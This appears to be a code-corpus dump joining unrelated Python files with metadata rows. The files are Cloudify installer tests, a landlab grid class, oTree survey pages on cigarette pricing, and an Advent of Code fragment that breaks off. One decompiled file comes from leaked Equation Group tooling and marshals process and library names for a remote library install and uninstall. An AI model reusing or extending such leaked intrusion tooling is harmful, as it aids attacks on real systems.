constants.MAX_WORKERS_KEY: 10,
constants.MIN_WORKERS_KEY: 5
}})
ctx = MockCloudifyContext(bootstrap_context=bootstrap_context)
set_autoscale_parameters(
ctx.bootstrap_context,
cloudify_agent)
self.assertEqual(cloudify_agent[constants.MAX_WORKERS_KEY], 10)
self.assertEqual(cloudify_agent[constants.MIN_WORKERS_KEY], 5)
def test_set_autoscale_parameters_with_bootstrap_context_zero_min(self): # NOQA
from windows_agent_installer import set_autoscale_parameters
cloudify_agent = {}
bootstrap_context = BootstrapContext({'cloudify_agent': {
constants.MAX_WORKERS_KEY: 10,
constants.MIN_WORKERS_KEY: 0
}})
ctx = MockCloudifyContext(bootstrap_context=bootstrap_context)
set_autoscale_parameters(
ctx.bootstrap_context,
cloudify_agent)
self.assertEqual(cloudify_agent[constants.MAX_WORKERS_KEY], 10)
self.assertEqual(cloudify_agent[constants.MIN_WORKERS_KEY], 0)
def test_set_autoscale_parameters_with_bootstrap_context_cloudify_agent(self): # NOQA
from windows_agent_installer import set_autoscale_parameters
# cloudify agent does contain auto scale configuration parameters.
# bootstrap_context does contain auto scale configuration parameters.
# this means all parameters should be
# the ones specified by the cloudify_agent.
cloudify_agent = {
constants.MAX_WORKERS_KEY: 10,
constants.MIN_WORKERS_KEY: 5
}
bootstrap_context = BootstrapContext({'cloudify_agent': {
constants.MAX_WORKERS_KEY: 2,
constants.MIN_WORKERS_KEY: 3
}})
set_autoscale_parameters(bootstrap_context, cloudify_agent)
self.assertEqual(cloudify_agent[constants.MAX_WORKERS_KEY], 10)
self.assertEqual(cloudify_agent[constants.MIN_WORKERS_KEY], 5)
def test_set_autoscale_parameters_validate_max_bigger_than_min(self): # NOQA
from windows_agent_installer import set_autoscale_parameters
cloudify_agent = {
constants.MAX_WORKERS_KEY: 10,
constants.MIN_WORKERS_KEY: 20
}
try:
set_autoscale_parameters({}, cloudify_agent)
self.fail('Expected NonRecoverableError since {0} is bigger than'
.format(constants.MIN_WORKERS_KEY,
constants.MAX_WORKERS_KEY))
except NonRecoverableError:
pass
def set_agent_configuration_parameters_with_empty_cloudify_agent(self):
from windows_agent_installer import set_agent_configuration_parameters
# cloudify agent does not contain any agent configuration parameters.
# this means all parameters should be the default ones.
cloudify_agent = {}
set_agent_configuration_parameters(cloudify_agent)
self.assertEqual(cloudify_agent[constants.AGENT_START_TIMEOUT_KEY], 15)
self.assertEqual(cloudify_agent[constants.AGENT_START_INTERVAL_KEY], 1)
def set_agent_configuration_parameters_with_full_cloudify_agent(self):
from windows_agent_installer import set_agent_configuration_parameters
# cloudify agent does contain agent configuration parameters.
# this means all parameters should be the ones specified.
cloudify_agent = {
constants.AGENT_START_TIMEOUT_KEY: 60,
constants.AGENT_START_INTERVAL_KEY: 5
}
set_agent_configuration_parameters(cloudify_agent)
self.assertEqual(cloudify_agent[constants.AGENT_START_TIMEOUT_KEY], 60)
self.assertEqual(cloudify_agent[constants.AGENT_START_INTERVAL_KEY], 5)
| 42.055556
| 106
| 0.670492
| 1,261
| 12,112
| 6.092784
| 0.146709
| 0.135364
| 0.06586
| 0.080177
| 0.815046
| 0.799167
| 0.76038
| 0.733047
| 0.70246
| 0.658076
| 0
| 0.006866
| 0.266513
| 12,112
| 287
| 107
| 42.202091
| 0.857947
| 0.154557
| 0
| 0.582474
| 0
| 0
| 0.072284
| 0.002062
| 0
| 0
| 0
| 0
| 0.123711
| 1
| 0.092784
| false
| 0.051546
| 0.092784
| 0
| 0.195876
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
0a4953ff2255b93561600ddb5f650a5afb6f6e31
| 4,365
|
py
|
Python
|
landlab/grid/unstructured/nodes.py
|
amanaster2/landlab
|
ea17f8314eb12e3fc76df66c9b6ff32078caa75c
|
[
"MIT"
] | 257
|
2015-01-13T16:01:21.000Z
|
2022-03-29T22:37:43.000Z
|
landlab/grid/unstructured/nodes.py
|
amanaster2/landlab
|
ea17f8314eb12e3fc76df66c9b6ff32078caa75c
|
[
"MIT"
] | 1,222
|
2015-02-05T21:36:53.000Z
|
2022-03-31T17:53:49.000Z
|
landlab/grid/unstructured/nodes.py
|
amanaster2/landlab
|
ea17f8314eb12e3fc76df66c9b6ff32078caa75c
|
[
"MIT"
] | 274
|
2015-02-11T19:56:08.000Z
|
2022-03-28T23:31:07.000Z
|
import numpy as np
class NodeGrid(object):
"""__init__((coord0, coord1)) Create a grid of nodes.
Parameters
----------
coord0, coord1 : sequence of array-like
Coordinates of grid nodes
Returns
-------
NodeGrid :
A newly-created NodeGrid
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1, 1], [0, 1, 0, 1]))
>>> ngrid.ndim == 2
True
>>> ngrid.number_of_nodes == 4
True
>>> ngrid.x
array([ 0., 1., 0., 1.])
>>> ngrid.y
array([ 0., 0., 1., 1.])
Create a 1D grid.
>>> ngrid = NodeGrid(((0, 1, 3), ))
>>> ngrid.ndim == 1
True
>>> ngrid.number_of_nodes
3
>>> ngrid.x
array([ 0., 1., 3.])
>>> ngrid.y
Traceback (most recent call last):
AttributeError: Grid has no y-coordinate
"""
def __init__(self, nodes):
"""__init__((coord0, coord1)) Create a grid of nodes.
Parameters
----------
coord0, coord1 : sequence of array-like
Coordinates of grid nodes
Returns
-------
NodeGrid :
A newly-created NodeGrid
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1, 1], [0, 1, 0, 1]))
>>> ngrid.ndim == 2
True
>>> ngrid.number_of_nodes == 4
True
>>> ngrid.x
array([ 0., 1., 0., 1.])
>>> ngrid.y
array([ 0., 0., 1., 1.])
Create a 1D grid.
>>> ngrid = NodeGrid(((0, 1, 3), ))
>>> ngrid.ndim == 1
True
>>> ngrid.number_of_nodes
3
>>> ngrid.x
array([ 0., 1., 3.])
>>> ngrid.y
Traceback (most recent call last):
AttributeError: Grid has no y-coordinate
"""
self._coords = np.vstack([np.array(coord, dtype=float) for coord in nodes])
self._coords.flags["WRITEABLE"] = False
self._number_of_nodes = len(nodes[0])
@property
def ndim(self):
return self._coords.shape[0]
@property
def number_of_nodes(self):
"""
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.number_of_nodes
3
"""
return self._number_of_nodes
@property
def x(self):
"""Node coordinates of the "fast" dimension.
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.x
array([ 0., 1., 0.])
"""
return self._coords[-1]
@property
def y(self):
"""Node y-coordinates.
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.y
array([ 0., 0., 1.])
"""
try:
return self._coords[-2]
except IndexError:
raise AttributeError("Grid has no y-coordinate")
@property
def z(self):
"""Node z-coordinates.
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.y
array([ 0., 0., 1.])
"""
try:
return self._coords[-2]
except IndexError:
raise AttributeError("Grid has no z-coordinate")
@property
def coord(self):
"""
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.coord[0]
array([ 0., 0., 1.])
>>> ngrid.coord[1]
array([ 0., 1., 0.])
"""
return self._coords
@property
def point(self):
"""
Examples
--------
>>> from landlab.grid.unstructured.nodes import NodeGrid
>>> ngrid = NodeGrid(([0, 0, 1], [0, 1, 0]))
>>> ngrid.point
array([[ 0., 0.],
[ 0., 1.],
[ 1., 0.]])
>>> ngrid.point[1]
array([ 0., 1.])
"""
return self._coords.T
| 24.522472
| 83
| 0.47079
| 483
| 4,365
| 4.175983
| 0.15528
| 0.034705
| 0.026772
| 0.019831
| 0.774913
| 0.765493
| 0.759544
| 0.735746
| 0.735746
| 0.735746
| 0
| 0.046445
| 0.358763
| 4,365
| 177
| 84
| 24.661017
| 0.674169
| 0.580527
| 0
| 0.393939
| 0
| 0
| 0.05638
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.242424
| false
| 0
| 0.030303
| 0.030303
| 0.515152
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
0a508c85f4c3a47fd9bcbc8a8de05775fb263ee8
| 19,645
|
py
|
Python
|
pages.py
|
napaza147/Choice
|
d06e854c86df2999e04f9a81857fafbaf6853661
|
[
"MIT"
] | 1
|
2021-11-03T04:40:23.000Z
|
2021-11-03T04:40:23.000Z
|
pages.py
|
napaza147/Choices
|
d06e854c86df2999e04f9a81857fafbaf6853661
|
[
"MIT"
] | null | null | null |
pages.py
|
napaza147/Choices
|
d06e854c86df2999e04f9a81857fafbaf6853661
|
[
"MIT"
] | null | null | null |
import math
from otree.api import Currency as c, currency_range
from ._builtin import Page, WaitPage
from .models import Constants, Player, Group
import json
from django.conf import settings
import string
import random
import time
debug = True
#########################################################################
"""Authors: Ivan Apaza & Luis Fernando Leyva"""
#########################################################################
"""First, we enunciate instructional pages"""
class prices_overview(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
def vars_for_template(self):
return dict(participant_id=self.participant.label)
"""Then, we continue with our first questionnaire"""
class p_1(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_2(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_3(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_4(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_5(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_6(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_7(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_8(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_9(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_10(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_11(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class p_12(Page):
_allow_custom_attributes = True
form_model = 'player'
def is_displayed(self):
return self.player.price_loosie_x10 < 13.1 and self.player.price_package < 20.1 and self.player.stop < 1 and \
self.participant.vars['non_smoker'] != True
def get_form_fields(self):
return [self.player.current_field()]
def error_message(self, values):
player = self.player
current_field = player.current_field()
if values[current_field] == 2:
player.package_chosen += 1
if values[current_field] == 0:
player.stop += 1
def vars_for_template(self):
player = self.player
index = player.quiz_page_counter
return {'participant_id': self.participant.label,
'page_number': index + 1,
'price_loosie': self.player.price_loosie_x10 / 10}
def before_next_page(self):
player = self.player
player.quiz_page_counter += 1
if player.package_chosen == 0:
player.price_loosie_x10 += 1
if player.package_chosen == 1:
player.price_package += 1
player.package_chosen = 0
class treatments_overview(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
def before_next_page(self):
player = self.player
if player.price_loosie_x10 == 14:
player.price_loosie_x10 -= 1
if player.price_package == 21:
player.price_package -= 1
if player.stop == 1:
player.price_loosie_x10 -= 2
player.price_package -= 1
def vars_for_template(self):
return dict(participant_id=self.participant.label)
class L_1(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_1_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class L_2(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_2_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class L_3(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_3_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class L_4(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_4_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class L_5(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_5_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class L_6(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_6_l']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_1(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_1_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_2(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_2_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_3(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_3_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_4(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_4_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_5(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_5_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
class S_6(Page):
def is_displayed(self):
return self.participant.vars['non_smoker'] != True
form_model = 'player'
form_fields = ['choice_6_s']
def vars_for_template(self):
return {'price_loosie': self.player.price_loosie_x10 / 10}
initial_page_sequence = [
L_1,
L_2,
L_3,
L_4,
L_5,
L_6,
S_1,
S_2,
S_3,
S_4,
S_5,
S_6,
]
# Add QuizPage as questions on your quiz
page_sequence = [
prices_overview,
p_1,
p_2,
p_3,
p_4,
p_5,
p_6,
p_7,
p_8,
p_9,
p_10,
p_11,
p_12,
treatments_overview,
]
class L_0(Page):
def inner_dispatch(self):
page_seq = int(self.__class__.__name__.split('_')[1])
page_to_show = json.loads(self.player.page_sequence)[page_seq]
self._is_frozen = False
self.__class__ = globals()[page_to_show]
return super(globals()[page_to_show], self).inner_dispatch()
for i, _ in enumerate(initial_page_sequence):
NewClassName = "Page_{}".format(i)
A = type(NewClassName, (L_0,), {})
locals()[NewClassName] = A
page_sequence.append(locals()[NewClassName])
| 29.060651
| 160
| 0.623212
| 2,516
| 19,645
| 4.593005
| 0.053657
| 0.116822
| 0.075026
| 0.088266
| 0.919176
| 0.919176
| 0.91909
| 0.91658
| 0.913638
| 0.913638
| 0
| 0.030878
| 0.268058
| 19,645
| 675
| 161
| 29.103704
| 0.772794
| 0.001934
| 0
| 0.808765
| 0
| 0
| 0.057992
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.179283
| false
| 0
| 0.017928
| 0.103586
| 0.476096
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
6a553a7e329bd4049ca3a06e61308c0a03bc046d
| 27
|
py
|
Python
|
src/loader.py
|
sinofseven/honmaru
|
2148f3334f5afd243612e11ccfb3361496a7a843
|
[
"MIT"
] | null | null | null |
src/loader.py
|
sinofseven/honmaru
|
2148f3334f5afd243612e11ccfb3361496a7a843
|
[
"MIT"
] | null | null | null |
src/loader.py
|
sinofseven/honmaru
|
2148f3334f5afd243612e11ccfb3361496a7a843
|
[
"MIT"
] | null | null | null |
def tmp():
return True
| 9
| 15
| 0.592593
| 4
| 27
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.296296
| 27
| 2
| 16
| 13.5
| 0.842105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
6a77248f7496d6c56846b20a26208d0946233405
| 3,128
|
py
|
Python
|
Leak #5 - Lost In Translation/windows/Resources/Pc/PyScripts/Lib/pc/pc/cmd/appcompat/type_Params.py
|
bidhata/EquationGroupLeaks
|
1ff4bc115cb2bd5bf2ed6bf769af44392926830c
|
[
"Unlicense"
] | 9
|
2019-11-22T04:58:40.000Z
|
2022-02-26T16:47:28.000Z
|
Leak #5 - Lost In Translation/windows/Resources/Pc/PyScripts/Lib/pc/pc/cmd/appcompat/type_Params.py
|
bidhata/EquationGroupLeaks
|
1ff4bc115cb2bd5bf2ed6bf769af44392926830c
|
[
"Unlicense"
] | null | null | null |
Leak #5 - Lost In Translation/windows/Resources/Pc/PyScripts/Lib/pc/pc/cmd/appcompat/type_Params.py
|
bidhata/EquationGroupLeaks
|
1ff4bc115cb2bd5bf2ed6bf769af44392926830c
|
[
"Unlicense"
] | 8
|
2017-09-27T10:31:18.000Z
|
2022-01-08T10:30:46.000Z
|
# uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: type_Params.py
from types import *
class InstallParams:
def __init__(self):
self.__dict__['procname'] = ''
self.__dict__['remotelibname'] = ''
def __getattr__(self, name):
if name == 'procname':
return self.__dict__['procname']
if name == 'remotelibname':
return self.__dict__['remotelibname']
raise AttributeError("Attribute '%s' not found" % name)
def __setattr__(self, name, value):
if name == 'procname':
self.__dict__['procname'] = value
elif name == 'remotelibname':
self.__dict__['remotelibname'] = value
else:
raise AttributeError("Attribute '%s' not found" % name)
def Marshal(self, mmsg):
from mcl.object.Message import MarshalMessage
submsg = MarshalMessage()
submsg.AddStringUtf8(MSG_KEY_PARAMS_PROCESS_NAME, self.__dict__['procname'])
submsg.AddStringUtf8(MSG_KEY_PARAMS_REMOTE_LIBRARY_NAME, self.__dict__['remotelibname'])
mmsg.AddMessage(MSG_KEY_PARAMS, submsg)
def Demarshal(self, dmsg, instance=-1):
import mcl.object.Message
msgData = dmsg.FindData(MSG_KEY_PARAMS, mcl.object.Message.MSG_TYPE_MSG, instance)
submsg = mcl.object.Message.DemarshalMessage(msgData)
self.__dict__['procname'] = submsg.FindString(MSG_KEY_PARAMS_PROCESS_NAME)
self.__dict__['remotelibname'] = submsg.FindString(MSG_KEY_PARAMS_REMOTE_LIBRARY_NAME)
class UninstallParams:
def __init__(self):
self.__dict__['procname'] = ''
self.__dict__['remotelibname'] = ''
def __getattr__(self, name):
if name == 'procname':
return self.__dict__['procname']
if name == 'remotelibname':
return self.__dict__['remotelibname']
raise AttributeError("Attribute '%s' not found" % name)
def __setattr__(self, name, value):
if name == 'procname':
self.__dict__['procname'] = value
elif name == 'remotelibname':
self.__dict__['remotelibname'] = value
else:
raise AttributeError("Attribute '%s' not found" % name)
def Marshal(self, mmsg):
from mcl.object.Message import MarshalMessage
submsg = MarshalMessage()
submsg.AddStringUtf8(MSG_KEY_PARAMS_UNINSTALL_PROCESS_NAME, self.__dict__['procname'])
submsg.AddStringUtf8(MSG_KEY_PARAMS_UNINSTALL_LIBRARY_NAME, self.__dict__['remotelibname'])
mmsg.AddMessage(MSG_KEY_PARAMS_UNINSTALL, submsg)
def Demarshal(self, dmsg, instance=-1):
import mcl.object.Message
msgData = dmsg.FindData(MSG_KEY_PARAMS_UNINSTALL, mcl.object.Message.MSG_TYPE_MSG, instance)
submsg = mcl.object.Message.DemarshalMessage(msgData)
self.__dict__['procname'] = submsg.FindString(MSG_KEY_PARAMS_UNINSTALL_PROCESS_NAME)
self.__dict__['remotelibname'] = submsg.FindString(MSG_KEY_PARAMS_UNINSTALL_LIBRARY_NAME)
| 40.623377
| 100
| 0.671036
| 345
| 3,128
| 5.628986
| 0.22029
| 0.082389
| 0.07415
| 0.064882
| 0.895984
| 0.895984
| 0.869207
| 0.869207
| 0.859938
| 0.859938
| 0
| 0.01839
| 0.217711
| 3,128
| 77
| 101
| 40.623377
| 0.775235
| 0.055946
| 0
| 0.745763
| 0
| 0
| 0.132293
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.169492
| false
| 0
| 0.084746
| 0
| 0.355932
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a824893d69f8e295916f3faced9c78cd3541acc
| 1,709
|
py
|
Python
|
day_17/run.py
|
aghontpi/AdventOfCode2020
|
43ee0415f8be0f8bf1abd4f746a9153ccc2e7406
|
[
"MIT"
] | null | null | null |
day_17/run.py
|
aghontpi/AdventOfCode2020
|
43ee0415f8be0f8bf1abd4f746a9153ccc2e7406
|
[
"MIT"
] | null | null | null |
day_17/run.py
|
aghontpi/AdventOfCode2020
|
43ee0415f8be0f8bf1abd4f746a9153ccc2e7406
|
[
"MIT"
] | null | null | null |
#! /usr/bin/python3
from collections import Counter
# game of life - 3d
inputs = open('input.txt', 'r').read()
inputs = inputs.split('\n')
processed = set()
for x, _line in enumerate(inputs):
for y, _char in enumerate(_line):
if _char == '#':
processed.add((x, y, 0))
